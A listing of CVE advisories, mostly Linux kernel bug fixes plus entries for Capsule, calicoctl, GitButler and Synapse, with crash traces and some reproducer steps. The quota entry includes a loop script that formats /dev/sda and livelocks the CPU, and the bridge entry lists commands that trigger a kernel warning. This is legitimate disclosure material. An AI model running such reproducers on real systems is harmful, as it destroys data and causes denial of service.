CVE-2026-45913	In the Linux kernel, the following vulnerability has been resolved: net: bridge: mcast: always update mdb_n_entries for vlan contexts syzbot triggered a warning[1] about the number of mdb entries in a context. It turned out that there are multiple ways to trigger that warning today (some got added during the years), the root cause of the problem is that the increase is done conditionally, and over the years these different conditions increased so there were new ways to trigger the warning, that is to do a decrease which wasn't paired with a previous increase. For example one way to trigger it is with flush: $ ip l add br0 up type bridge vlan_filtering 1 mcast_snooping 1 $ ip l add dumdum up master br0 type dummy $ bridge mdb add dev br0 port dumdum grp 239.0.0.1 permanent vid 1 $ ip link set dev br0 down $ ip link set dev br0 type bridge mcast_vlan_snooping 1 ^^^^ this will enable snooping, but will not update mdb_n_entries because in __br_multicast_enable_port_ctx() we check !netif_running $ bridge mdb flush dev br0 ^^^ this will trigger the warning because it will delete the pg which we added above, which will try to decrease mdb_n_entries Fix the problem by removing the conditional increase and always keep the count up-to-date while the vlan exists. In order to do that we have to first initialize it on port-vlan context creation, and then always increase or decrease the value regardless of mcast options. To keep the current behaviour we have to enforce the mdb limit only if the context is port's or if the port-vlan's mcast snooping is enabled. [1] ------------[cut here]------------ n == 0 WARNING: net/bridge/br_multicast.c:718 at br_multicast_port_ngroups_dec_one net/bridge/br_multicast.c:718 [inline], CPU#0: syz.4.4607/22043 WARNING: net/bridge/br_multicast.c:718 at br_multicast_port_ngroups_dec net/bridge/br_multicast.c:771 [inline], CPU#0: syz.4.4607/22043 WARNING: net/bridge/br_multicast.c:718 at br_multicast_del_pg+0x1bbe/0x1e20 net/bridge/br_multicast.c:825, CPU#0: syz.4.4607/22043 Modules linked in: CPU: 0 UID: 0 PID: 22043 Comm: syz.4.4607 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/24/2026 RIP: 0010:br_multicast_port_ngroups_dec_one net/bridge/br_multicast.c:718 [inline] RIP: 0010:br_multicast_port_ngroups_dec net/bridge/br_multicast.c:771 [inline] RIP: 0010:br_multicast_del_pg+0x1bbe/0x1e20 net/bridge/br_multicast.c:825 Code: 41 5f 5d e9 04 7a 48 f7 e8 3f 73 5c f7 90 0f 0b 90 e9 cf fd ff ff e8 31 73 5c f7 90 0f 0b 90 e9 16 fd ff ff e8 23 73 5c f7 90 <0f> 0b 90 e9 60 fd ff ff e8 15 73 5c f7 eb 05 e8 0e 73 5c f7 48 8b RSP: 0018:ffffc9000c207220 EFLAGS: 00010293 RAX: ffffffff8a68042d RBX: ffff88807c6f1800 RCX: ffff888066e90000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000 RBP: 0000000000000000 R08: ffff888066e90000 R09: 000000000000000c R10: 000000000000000c R11: 0000000000000000 R12: ffff8880303ef800 R13: dffffc0000000000 R14: ffff888050eb11c4 R15: 1ffff1100a1d6238 FS: 00007fa45921b6c0(0000) GS:ffff8881256f5000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fa4591f9ff8 CR3: 0000000081df2000 CR4: 00000000003526f0 Call Trace: <TASK> br_mdb_flush_pgs net/bridge/br_mdb.c:1525 [inline] br_mdb_flush net/bridge/br_mdb.c:1544 [inline] br_mdb_del_bulk+0x5e2/0xb20 net/bridge/br_mdb.c:1561 rtnl_mdb_del+0x48a/0x640 net/core/rtnetlink.c:-1	N/A	More Details

	rtnetlink_rcv_msg+0x77e/0xbe0 net/core/rtnetlink.c:6967 netlink_rcv_skb+0x232/0x4b0 net/netlink/af_netlink.c:2550 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x80f/0x9b0 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x813/0xb40 net/netlink/af_netlink.c:1894 sock_sendmsg_nosec net/socket.c:727 [inline] __sock_sendmsg net/socket.c:742 [inline] ____sys_sendmsg+0xa68/0xad0 net/socket.c:2592 ___sys_sendmsg+0x2a5/0x360 net/socke --- truncated---		
CVE-2026-45912	In the Linux kernel, the following vulnerability has been resolved: ext4: don't cache extent during splitting extent Caching extents during the splitting process is risky, as it may result in stale extents remaining in the status tree. Moreover, in most cases, the corresponding extent block entries are likely already cached before the split happens, making caching here not particularly useful. Assume we have an unwritten extent, and then DIO writes the first half. [UUUUUUUUUUUUUUUU] on-disk extent U: unwritten extent [UUUUUUUUUUUUUUUU] extent status tree |<- ->| ----> dio write this range First, when ext4_split_extent_at() splits this extent, it truncates the existing extent and then inserts a new one. During this process, this extent status entry may be shrunk, and calls to ext4_find_extent() and ext4_cache_extents() may occur, which could potentially insert the truncated range as a hole into the extent status tree. After the split is completed, this hole is not replaced with the correct status. [UUUUUUUU|UUUUUUUU] on-disk extent U: unwritten extent [UUUUUUU|HHHHHHHH] extent status tree H: hole Then, the outer calling functions will not correct this remaining hole extent either. Finally, if we perform a delayed buffer write on this latter part, it will re-insert the delayed extent and cause an error in space accounting. In adition, if the unwritten extent cache is not shrunk during the splitting, ext4_cache_extents() also conflicts with existing extents when caching extents. In the future, we will add checks when caching extents, which will trigger a warning. Therefore, Do not cache extents that are being split.	N/A	More Details
CVE-2026-45911	In the Linux kernel, the following vulnerability has been resolved: usb: cdns3: fix role switching during resume If the role change while we are suspended, the cdns3 driver switches to the new mode during resume. However, switching to host mode in this context causes a NULL pointer dereference. The host role's start() operation registers a xhci-hcd device, but its probe is deferred while we are in the resume path. The host role's resume() operation assumes the xhci-hcd device is already probed, which is not the case, leading to the dereference. Since the start() operation of the new role is already called, the resume operation can be skipped. So skip the resume operation for the new role if a role switch occurs during resume. Once the resume sequence is complete, the xhci-hcd device can be probed in case of host mode. Unable to handle kernel NULL pointer dereference at virtual address 0000000000000208 Mem abort info: ... Data abort info: ... [0000000000000208] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP Modules linked in: CPU: 0 UID: 0 PID: 146 Comm: sh Not tainted 6.19.0-rc7-00013-g6e64f4aabfae-dirty #135 PREEMPT Hardware name: Texas Instruments J7200 EVM (DT) pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : usb_hcd_is_primary_hcd+0x0/0x1c lr : cdns_host_resume+0x24/0x5c ... Call trace: usb_hcd_is_primary_hcd+0x0/0x1c (P) cdns_resume+0x6c/0xbc cdns3_controller_resume.isra.0+0xe8/0x17c cdns3_plat_resume+0x18/0x24 platform_pm_resume+0x2c/0x68 dpm_run_callback+0x90/0x248 device_resume+0x100/0x24c dpm_resume+0x190/0x2ec dpm_resume_end+0x18/0x34 suspend_devices_and_enter+0x2b0/0xa44 pm_suspend+0x16c/0x5fc state_store+0x80/0xec kobj_attr_store+0x18/0x2c sysfs_kf_write+0x7c/0x94 kernfs_fop_write_iter+0x130/0x1dc vfs_write+0x240/0x370 ksys_write+0x70/0x108 __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x10c el0_svc_common.constprop.0+0x40/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x34/0x108 el0t_64_sync_handler+0xa0/0xe4 el0t_64_sync+0x198/0x19c Code: 52800003 f9407ca5 d63f00a0 17ffffe4 (f9410401) ---[end trace 0000000000000000]---	N/A	More Details
CVE-2026-45908	In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: Fix memory leak in amdxdna_ubuf_map The amdxdna_ubuf_map() function allocates memory for sg and internal sg table structures, but it fails to free them if subsequent operations (sg_alloc_table_from_pages or dma_map_sgtable) fail.	N/A	More Details
CVE-2026-45890	In the Linux kernel, the following vulnerability has been resolved: xen-netback: reject zero-queue configuration from guest A malicious or buggy Xen guest can write "0" to the xenbus key "multi-queue-num-queues". The connect() function in the backend only validates the upper bound (requested_num_queues > xenvif_max_queues) but not zero, allowing requested_num_queues=0 to reach vzalloc(array_size(0, sizeof(struct xenvif_queue))), which triggers WARN_ON_ONCE(!size) in __vmalloc_node_range(). On systems with panic_on_warn=1, this allows a guest-to-host denial of service. The Xen network interface specification requires the queue count to be "greater than zero". Add a zero check to match the validation already present in xen-blkback, which has included this guard since its multi-queue support was added.	N/A	More Details
CVE-2026-45891	In the Linux kernel, the following vulnerability has been resolved: net: hns3: fix double free issue for tx spare buffer In hns3_set_ringparam(), a temporary copy (tmp_rings) of the ring structure is created for rollback. However, the tx_spare pointer in the original ring handle is incorrectly left pointing to the old backup memory. Later, if memory allocation fails in hns3_init_all_ring() during the setup, the error path attempts to free all newly allocated rings. Since tx_spare contains a stale (non-NULL) pointer from the backup, it is mistaken for a newly allocated buffer and is erroneously freed, leading to a double-free of the backup memory. The root cause is that the tx_spare field was not cleared after its value was saved in tmp_rings, leaving a dangling pointer. Fix this by setting tx_spare to NULL in the original ring structure when the creation of the new `tx_spare` fails. This ensures the error cleanup path only frees genuinely newly allocated buffers.	N/A	More Details

CVE-2026-45892	In the Linux kernel, the following vulnerability has been resolved: ext4: drop extent cache after doing PARTIAL_VALID1 zeroout When splitting an unwritten extent in the middle and converting it to initialized in ext4_split_extent() with the EXT4_EXT_MAY_ZEROOUT and EXT4_EXT_DATA_VALID2 flags set, it could leave a stale unwritten extent. Assume we have an unwritten file and buffered write in the middle of it without dioread_nolock enabled, it will allocate blocks as written extent. 0 A B N [UUUUUUUUUUUU] on-disk extent U: unwritten extent [UUUUUUUUUUUU] extent status tree [--DDDDDDDD--] D: valid data |<- ->| ----> this range needs to be initialized ext4_split_extent() first try to split this extent at B with EXT4_EXT_DATA_PARTIAL_VALID1 and EXT4_EXT_MAY_ZEROOUT flag set, but ext4_split_extent_at() failed to split this extent due to temporary lack of space. It zeroout B to N and leave the entire extent as unwritten. 0 A B N [UUUUUUUUUUUU] on-disk extent [UUUUUUUUUUUU] extent status tree [--DDDDDDDDZZ] Z: zeroed data ext4_split_extent() then try to split this extent at A with EXT4_EXT_DATA_VALID2 flag set. This time, it split successfully and leave an written extent from A to N. 0 A B N [UUWWWWWWWWWW] on-disk extent W: written extent [UUUUUUUUUUUU] extent status tree [--DDDDDDDDZZ] Finally ext4_map_create_blocks() only insert extent A to B to the extent status tree, and leave an stale unwritten extent in the status tree. 0 A B N [UUWWWWWWWWWW] on-disk extent W: written extent [UUWWWWWWWWUU] extent status tree [--DDDDDDDDZZ] Fix this issue by always cached extent status entry after zeroing out the second part.	N/A	More Details
CVE-2026-45893	In the Linux kernel, the following vulnerability has been resolved: apparmor: Fix & Optimize table creation from possibly unaligned memory Source blob may come from userspace and might be unaligned. Try to optize the copying process by avoiding unaligned memory accesses. - Added Fixes tag - Added "Fix &" to description as this doesn't just optimize but fixes a potential unaligned memory access [jj: remove duplicate word "convert" in comment trigger checkpatch warning]	N/A	More Details
CVE-2026-45895	In the Linux kernel, the following vulnerability has been resolved: quota: fix livelock between quotactl and freeze_super When a filesystem is frozen, quotactl_block() enters a retry loop waiting for the filesystem to thaw. It acquires s_umount, checks the freeze state, drops s_umount and uses sb_start_write() - sb_end_write() pair to wait for the unfreeze. However, this retry loop can trigger a livelock issue, specifically on kernels with preemption disabled. The mechanism is as follows: 1. freeze_super() sets SB_FREEZE_WRITE and calls sb_wait_write(). 2. sb_wait_write() calls percpu_down_write(), which initiates synchronize_rcu(). 3. Simultaneously, quotactl_block() spins in its retry loop, immediately executing the sb_start_write() - sb_end_write() pair. 4. Because the kernel is non-preemptible and the loop contains no scheduling points, quotactl_block() never yields the CPU. This prevents that CPU from reaching an RCU quiescent state. 5. synchronize_rcu() in the freezer thread waits indefinitely for the quotactl_block() CPU to report a quiescent state. 6. quotactl_block() spins indefinitely waiting for the freezer to advance, which it cannot do as it is blocked on the RCU sync. This results in a hang of the freezer process and 100% CPU usage by the quota process. While this can occur intermittently on multi-core systems, it is reliably reproducing on a node with the following script, running both the freezer and the quota toggle on the same CPU: # mkfs.ext4 -O quota /dev/sda 2g && mkdir a_mount # mount /dev/sda -o quota,usrquota,grpquota a_mount # taskset -c 3 bash -c "while true; do xfs_freeze -f a_mount; \ xfs_freeze -u a_mount; done" & # taskset -c 3 bash -c "while true; do quotaon a_mount; \ quotaoff a_mount; done" & Adding cond_resched() to the retry loop fixes the issue. It acts as an RCU quiescent state, allowing synchronize_rcu() in percpu_down_write() to complete.	N/A	More Details
CVE-2026-46193	In the Linux kernel, the following vulnerability has been resolved: xfrm: ah: account for ESN high bits in async callbacks AH allocates its temporary auth/ICV layout differently when ESN is enabled: the async ahash setup appends a 4-byte seqhi slot before the ICV or auth_data area, but the async completion callbacks still reconstruct the temporary layout as if seqhi were absent. With an async AH implementation selected, that makes AH copy or compare the wrong bytes on both the IPv4 and IPv6 paths. In UML repro on IPv4 AH with ESN and forced async hmac(sha1), ping fails with 100% packet loss, and the callback logs show the pre-fix drift: ah4 output_done: esn=1 err=0 icv_off=20 expected_off=24 ah4 input_done: esn=1 auth_off=20 expected_auth_off=24 icv_off=32 expected_icv_off=36 Reconstruct the callback-side layout the same way the setup path built it by skipping the ESN seqhi slot before locating the saved auth_data or ICV. Per RFC 4302, the ESN high-order 32 bits participate in the AH ICV computation, so the async callbacks must account for the seqhi slot. Post-fix, the same IPv4 AH+ESN+forced-async-hmac(sha1) UML repro shows the corrected offset (ah4 output_done: esn=1 err=0 icv_off=24 expected_off=24) and ping succeeds; net/ipv4/ah4.o and net/ipv6/ah6.o build clean at W=1. IPv6 AH+ESN was not exercised at runtime, and the change has not been tested against a real async hardware AH engine.	N/A	More Details
CVE-2026-46182	In the Linux kernel, the following vulnerability has been resolved: pseries/papr-hvpipe: Prevent kernel stack memory leak to userspace The hdr variable is allocated on the stack and only hdr.version and hdr.flags are initialized explicitly. Because the struct papr_hvpipe_hdr contains reserved padding bytes (reserved[3] and reserved2[40]), these could leak the uninitialized bytes to userspace after copy_to_user(). This patch fixes that by initializing the whole struct to 0.	N/A	More Details
CVE-2026-45896	In the Linux kernel, the following vulnerability has been resolved: mtd: intel-dg: Fix accessing regions before setting nregions The regions array is counted by nregions, but it's set only after accessing it: [] UBSAN: array-index-out-of-bounds in drivers/mtd/devices/mtd_intel_dg.c:750:15 [] index 0 is out of range for type '<unknown> [*]' Fix it by also fixing an undesired behavior: the loop silently ignores ENOMEM and continues setting the other entries.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_counter: serialize reset with spinlock Add a global static spinlock to serialize counter fetch+reset operations, preventing concurrent		

CVE-2026-45897	dump-and-reset from underrunning values. The lock is taken before fetching the total so that two parallel resets cannot both read the same counter values and then both subtract them. A global lock is used for simplicity since resets are infrequent. If this becomes a bottleneck, it can be replaced with a per-net lock later.	N/A	More Details
CVE-2026-45899	In the Linux kernel, the following vulnerability has been resolved: ext4: drop extent cache when splitting extent fails When the split extent fails, we might leave some extents still being processed and return an error directly, which will result in stale extent entries remaining in the extent status tree. So drop all of the remaining potentially stale extents if the splitting fails.	N/A	More Details
CVE-2026-45900	In the Linux kernel, the following vulnerability has been resolved: crypto: caam - fix netdev memory leak in dpaa2_caam_probe When commit 0e1a4d427f58 ("crypto: caam: Unembed net_dev structure in dpaa2") converted embedded net_device to dynamically allocated pointers, it added cleanup in dpaa2_dpseci_disable() but missed adding cleanup in dpaa2_dpseci_free() for error paths. This causes memory leaks when dpaa2_dpseci_dpio_setup() fails during probe due to DPIO devices not being ready yet. The kernel's deferred probe mechanism handles the retry successfully, but the netdevs allocated during the failed probe attempt are never freed, resulting in kmemleak reports showing multiple leaked netdev-related allocations all traced back to dpaa2_caam_probe(). Fix this by preserving the CPU mask of allocated netdevs during setup and using it for cleanup in dpaa2_dpseci_free(). This approach ensures that only the CPUs that actually had netdevs allocated will be cleaned up, avoiding potential issues with CPU hotplug scenarios.	N/A	More Details
CVE-2026-45901	In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: revert commit_mutex usage in reset path It causes circular lock dependency between commit_mutex, nfnl_subsys_ipset and nlk_cb_mutex when nft reset, ipset list, and iptables-nft with '-m set' rule run at the same time. Previous patches made it safe to run individual reset handlers concurrently so commit_mutex is no longer required to prevent this.	N/A	More Details
CVE-2026-45902	In the Linux kernel, the following vulnerability has been resolved: power: supply: bq256xx: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making sure the IRQ is requested _after_ the registration of the `power_supply` handle.	N/A	More Details
CVE-2026-45903	In the Linux kernel, the following vulnerability has been resolved: bpf: Fix memory access flags in helper prototypes After commit 37cce22dbd51 ("bpf: verifier: Refactor helper access type tracking"), the verifier started relying on the access type flags in helper function prototypes to perform memory access optimizations. Currently, several helper functions utilizing ARG_PTR_TO_MEM lack the corresponding MEM_RDONLY or MEM_WRITE flags. This omission causes the verifier to incorrectly assume that the buffer contents are unchanged across the helper call. Consequently, the verifier may optimize away subsequent reads based on this wrong assumption, leading to correctness issues. For bpf_get_stack_proto_raw_tp, the original MEM_RDONLY was incorrect since the helper writes to the buffer. Change it to ARG_PTR_TO_UNINIT_MEM which correctly indicates write access to potentially uninitialized memory. Similar issues were recently addressed for specific helpers in commit ac44dcc788b9 ("bpf: Fix verifier assumptions of bpf_d_path's output buffer") and commit 2eb7648558a7 ("bpf: Specify access type of bpf_sysctl_get_name args"). Fix these prototypes by adding the correct memory access flags.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: powerpc/eeh: fix recursive pci_lock_rescan_remove locking in EEH event handling The recent commit 1010b4c012b0 ("powerpc/eeh: Make EEH driver device hotplug safe") restructured the EEH driver to improve synchronization with the PCI hotplug layer. However, it inadvertently moved pci_lock_rescan_remove() outside its intended scope in eeh_handle_normal_event(), leading to broken PCI error reporting and improper EEH event triggering. Specifically, eeh_handle_normal_event() acquired pci_lock_rescan_remove() before calling eeh_pe_bus_get(), but eeh_pe_bus_get() itself attempts to acquire the same lock internally, causing nested locking and disrupting normal EEH event handling paths. This patch adds a boolean parameter do_lock to _eeh_pe_bus_get(), with two public wrappers: eeh_pe_bus_get() with locking enabled. eeh_pe_bus_get_nolock() that skips locking. Callers that already hold pci_lock_rescan_remove() now use eeh_pe_bus_get_nolock() to avoid recursive lock acquisition. Additionally, pci_lock_rescan_remove() calls are restored to the correct position—after eeh_pe_bus_get() and immediately before iterating affected PEs and devices. This ensures EEH-triggered PCI removes occur under proper bus rescan locking without recursive lock contention. The eeh_pe_loc_get() function has been split into two functions: eeh_pe_loc_get(struct eeh_pe *pe) which retrieves the loc for given PE. eeh_pe_loc_get_bus(struct pci_bus *bus) which retrieves the location code for given bus. This resolves lockdep warnings such as: <snip> [84.964298] [T928] ========== [84.964304] [T928] WARNING:		

CVE-2026-45904	possible recursive locking detected [84.964311] [T928] 6.18.0-rc3 #51 Not tainted [84.964315] [T928] ---------- [84.964320] [T928] eehd/928 is trying to acquire lock: [84.964324] [T928] c000000003b29d58 (pci_rescan_remove_lock){+.+.}-{3:3}, at: pci_lock_rescan_remove+0x28/0x40 [84.964342] [T928] but task is already holding lock: [84.964347] [T928] c000000003b29d58 (pci_rescan_remove_lock){+.+.}-{3:3}, at: pci_lock_rescan_remove+0x28/0x40 [84.964357] [T928] other info that might help us debug this: [84.964363] [T928] Possible unsafe locking scenario: [84.964367] [T928] CPU0 [84.964370] [T928] ---- [84.964373] [T928] lock(pci_rescan_remove_lock); [84.964378] [T928] lock(pci_rescan_remove_lock); [84.964383] [T928] *** DEADLOCK *** [84.964388] [T928] May be due to missing lock nesting notation [84.964393] [T928] 1 lock held by eehd/928: [84.964397] [T928] #0: c000000003b29d58 (pci_rescan_remove_lock){+.+.}-{3:3}, at: pci_lock_rescan_remove+0x28/0x40 [84.964408] [T928] stack backtrace: [84.964414] [T928] CPU: 2 UID: 0 PID: 928 Comm: eehd Not tainted 6.18.0-rc3 #51 VOLUNTARY [84.964417] [T928] Hardware name: IBM,9080-HEX POWER10 (architected) 0x800200 0xf000006 of:IBM,FW1060.00 (NH1060_022) hv:phyp pSeries [84.964419] [T928] Call Trace: [84.964420] [T928] [c0000011a7157990] [c000000001705de4] dump_stack_lvl+0xc8/0x130 (unreliable) [84.964424] [T928] [c0000011a71579d0] [c0000000002f66e0] print_deadlock_bug+0x430/0x440 [84.964428] [T928] [c0000011a7157a70] [c0000000002fd0c0] __lock_acquire+0x1530/0x2d80 [84.964431] [T928] [c0000011a7157ba0] [c0000000002fea54] lock_acquire+0x144/0x410 [84.964433] [T928] [c0000011a7157cb0] [c0000011a7157cb0] __mutex_lock+0xf4/0x1050 [84.964436] [T928] [c0000011a7157e00] [c000000000de21d8] pci_lock_rescan_remove+0x28/0x40 [84.964439] [T928] [c0000011a7157e20] [c00000000004ed98] eeh_pe_bus_get+0x48/0xc0 [84.964442] [T928] [c0000011a7157e50] [c00000 ---truncated---	N/A	More Details
CVE-2026-46180	In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: Fix potential use-after-free issue when stopping watchdog task Watchdog task might end between send_sig() and kthread_stop() calls, what results in the use-after-free issue. Fix this by increasing watchdog task reference count before calling send_sig() and dropping it by switching to kthread_stop_put().	N/A	More Details
CVE-2026-45905	In the Linux kernel, the following vulnerability has been resolved: xfrm: fix ip_rt_bug race in icmp_route_lookup reverse path icmp_route_lookup() performs multiple route lookups to find a suitable route for sending ICMP error messages, with special handling for XFRM (IPsec) policies. The lookup sequence is: 1. First, lookup output route for ICMP reply (dst = original src) 2. Pass through xfrm_lookup() for policy check 3. If blocked (-EPERM) or dst is not local, enter "reverse path" 4. In reverse path, call xfrm_decode_session_reverse() to get fl4_dec which reverses the original packet's flow (saddr<->daddr swapped) 5. If fl4_dec.saddr is local (we are the original destination), use __ip_route_output_key() for output route lookup 6. If fl4_dec.saddr is NOT local (we are a forwarding node), use ip_route_input() to simulate the reverse packet's input path 7. Finally, pass rt2 through xfrm_lookup() with XFRM_LOOKUP_ICMP flag The bug occurs in step 6: ip_route_input() is called with fl4_dec.daddr (original packet's source) as destination. If this address becomes local between the initial check and ip_route_input() call (e.g., due to concurrent "ip addr add"), ip_route_input() returns a LOCAL route with dst.output set to ip_rt_bug. This route is then used for ICMP output, causing dst_output() to call ip_rt_bug(), triggering a WARN_ON: ------------[cut here]------------ WARNING: net/ipv4/route.c:1275 at ip_rt_bug+0x21/0x30, CPU#1 Call Trace: <TASK> ip_push_pending_frames+0x202/0x240 icmp_push_reply+0x30d/0x430 __icmp_send+0x1149/0x24f0 ip_options_compile+0xa2/0xd0 ip_rcv_finish_core+0x829/0x1950 ip_rcv+0x2d7/0x420 __netif_receive_skb_one_core+0x185/0x1f0 netif_receive_skb+0x90/0x450 tun_get_user+0x3413/0x3fb0 tun_chr_write_iter+0xe4/0x220 ... Fix this by checking rt2->rt_type after ip_route_input(). If it's RTN_LOCAL, the route cannot be used for output, so treat it as an error. The reproducer requires kernel modification to widen the race window, making it unsuitable as a selftest. It is available at: https://gist.github.com/mrpre/eae853b72ac6a750f5d45d64ddac1e81	N/A	More Details
CVE-2026-22872	Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. The attack vector has a few limiting factors. This attack requires Tenant Owner privileges and requires Capsule Controller running with cluster-admin privileges (default configuration). Additionally, some clusters may have additional admission controllers blocking malicious resources. Version 0.13.0 patches this issue.	N/A	More Details
CVE-2026-45906	In the Linux kernel, the following vulnerability has been resolved: power: supply: pf1550: Fix use-after-free in power_supply_changed() Using the `devm_` variant for requesting IRQ _before_ the `devm_` variant for allocating/registering the `power_supply` handle, means that the `power_supply` handle will be deallocated/unregistered _before_ the interrupt handler (since `devm_` naturally deallocates in reverse allocation order). This means that during removal, there is a race condition where an interrupt can fire just _after_ the `power_supply` handle has been freed, *but* just _before_ the corresponding unregistration of the IRQ handler has run. This will lead to the IRQ handler calling `power_supply_changed()` with a freed `power_supply` handle. Which usually crashes the system or otherwise silently corrupts the memory... Note that there is a similar situation which can also happen during `probe()`; the possibility of an interrupt firing _before_ registering the `power_supply` handle. This would then lead to the nasty situation of using the `power_supply` handle *uninitialized* in `power_supply_changed()`. Fix this racy use-after-free by making	N/A	More Details

	sure the IRQ is requested _after_ the registration of the `power_supply` handle.		
CVE-2026-46179	In the Linux kernel, the following vulnerability has been resolved: ASoC: SOF: Don't allow pointer operations on unconfigured streams When reporting the pointer for a compressed stream we report the current I/O frame position by dividing the position by the number of channels multiplied by the number of container bytes. These values default to 0 and are only configured as part of setting the stream parameters so this allows a divide by zero to be configured. Validate that they are non zero, returning an error if not	N/A	More Details
CVE-2026-45907	In the Linux kernel, the following vulnerability has been resolved: net/mlx5e: Fix deadlocks between devlink and netdev instance locks In the mentioned "Fixes" commit, various work tasks triggering devlink health reporter recovery were switched to use netdev_trylock to protect against concurrent tear down of the channels being recovered. But this had the side effect of introducing potential deadlocks because of incorrect lock ordering. The correct lock order is described by the init flow: probe_one -> mlx5_init_one (acquires devlink lock) -> mlx5_init_one_devl_locked -> mlx5_register_device -> mlx5_rescan_drivers_locked -...-> mlx5e_probe -> _mlx5e_probe -> register_netdev (acquires rtnl lock) -> register_netdevice (acquires netdev lock) => devlink lock -> rtnl lock -> netdev lock. But in the current recovery flow, the order is wrong: mlx5e_tx_err_cqe_work (acquires netdev lock) -> mlx5e_reporter_tx_err_cqe -> mlx5e_health_report -> devlink_health_report (acquires devlink lock => boom!) -> devlink_health_reporter_recover -> mlx5e_tx_reporter_recover -> mlx5e_tx_reporter_recover_from_ctx -> mlx5e_tx_reporter_err_cqe_recover The same pattern exists in: mlx5e_reporter_rx_timeout mlx5e_reporter_tx_ptpsq_unhealthy mlx5e_reporter_tx_timeout Fix these by moving the netdev_trylock calls from the work handlers lower in the call stack, in the respective recovery functions, where they are actually necessary.	N/A	More Details
CVE-2026-45851	In the Linux kernel, the following vulnerability has been resolved: efi: Fix reservation of unaccepted memory table The reserve_unaccepted() function incorrectly calculates the size of the memblock reservation for the unaccepted memory table. It aligns the size of the table, but fails to account for cases where the table's starting physical address (efi.unaccepted) is not page-aligned. If the table starts at an offset within a page and its end crosses into a subsequent page that the aligned size does not cover, the end of the table will not be reserved. This can lead to the table being overwritten or inaccessible, causing a kernel panic in accept_memory(). This issue was observed when starting Intel TDX VMs with specific memory sizes (e.g., > 64GB). Fix this by calculating the end address first (including the unaligned start) and then aligning it up, ensuring the entire range is covered by the reservation.	N/A	More Details
CVE-2026-46196	In the Linux kernel, the following vulnerability has been resolved: tracepoint: balance regfunc() on func_add() failure in tracepoint_add_func() When a tracepoint goes through the 0 -> 1 transition, tracepoint_add_func() invokes the subsystem's ext->regfunc() before attempting to install the new probe via func_add(). If func_add() then fails (for example, when allocate_probes() cannot allocate a new probe array under memory pressure and returns -ENOMEM), the function returns the error without calling the matching ext->unregfunc(), leaving the side effects of regfunc() behind with no installed probe to justify them. For syscall tracepoints this is particularly unpleasant: syscall_regfunc() bumps sys_tracepoint_refcount and sets SYSCALL_TRACEPOINT on every task. After a leaked failure, the refcount is stuck at a non-zero value with no consumer, and every task continues paying the syscall trace entry/exit overhead until reboot. Other subsystems providing regfunc()/unregfunc() pairs exhibit similarly scoped persistent state. Mirror the existing 1 -> 0 cleanup and call ext->unregfunc() in the func_add() error path, gated on the same condition used there so the unwind is symmetric with the registration.	N/A	More Details
CVE-2026-45850	In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks Protocol checksum validation fails for IPv6 if there are extension headers before the protocol header. iph->len already contains its offset, so use it to fix the problem.	N/A	More Details
CVE-2026-8990	A user with physical access to a smartphone can bypass authentication mechanism of Kidsview mobile application and grant himself full access to the device owner's account by interacting with application's push notification. This issue was fixed in version 4.4.3	N/A	More Details
CVE-2026-6720	When calicoctl is invoked with --log-level=info or --log-level=debug, the client prints the full contents of its loaded connection-configuration struct to stderr in a single log line. The struct embeds every credential calicoctl uses to talk to the cluster — inline kubeconfig (with bearer token), Kubernetes API bearer token, etcd password, and inline PEM-encoded etcd client certificate and key. Any reader of that stderr stream — CI job logs, session-recording archives, shared support-ticket transcripts, or local filesystem viewers on the host that ran calicoctl — can extract these credentials with zero Kubernetes privilege. calicoctl's default log level is panic, so this issue only triggers when verbose logging is explicitly enabled.	N/A	More Details
CVE-2026-45261	GitButler is a modern Git-based version control interface for AI-powered workflows. Prior to 0.19.7, a emote code execution vulnerability exists in the Tauri-based GitButler desktop application. An attacker can inject a malicious link in a pull request body, which if clicked by the user allows for arbitrary script execution in the Tauri webview. Users that have not enabled forge integration are not at risk. This vulnerability is fixed in 0.19.7.	N/A	More Details
CVE-2026-45078	Synapse is an open source Matrix homeserver implementation. Prior to 1.152.1, local authenticated users can cause Synapse to starve other requests of CPU and lead to other requests failing, causing other users to be denied service. This vulnerability is fixed in 1.152.1.	N/A	More Details

CVE-2026-45076	Synapse is an open source Matrix homeserver implementation. Prior to 1.152.1, in federated rooms, malicious homeservers can craft room events in such a way that prevents Synapse from providing full history to paginating clients. Clients could therefore fail to display room history. This vulnerability is fixed in 1.152.1.	N/A	More Details
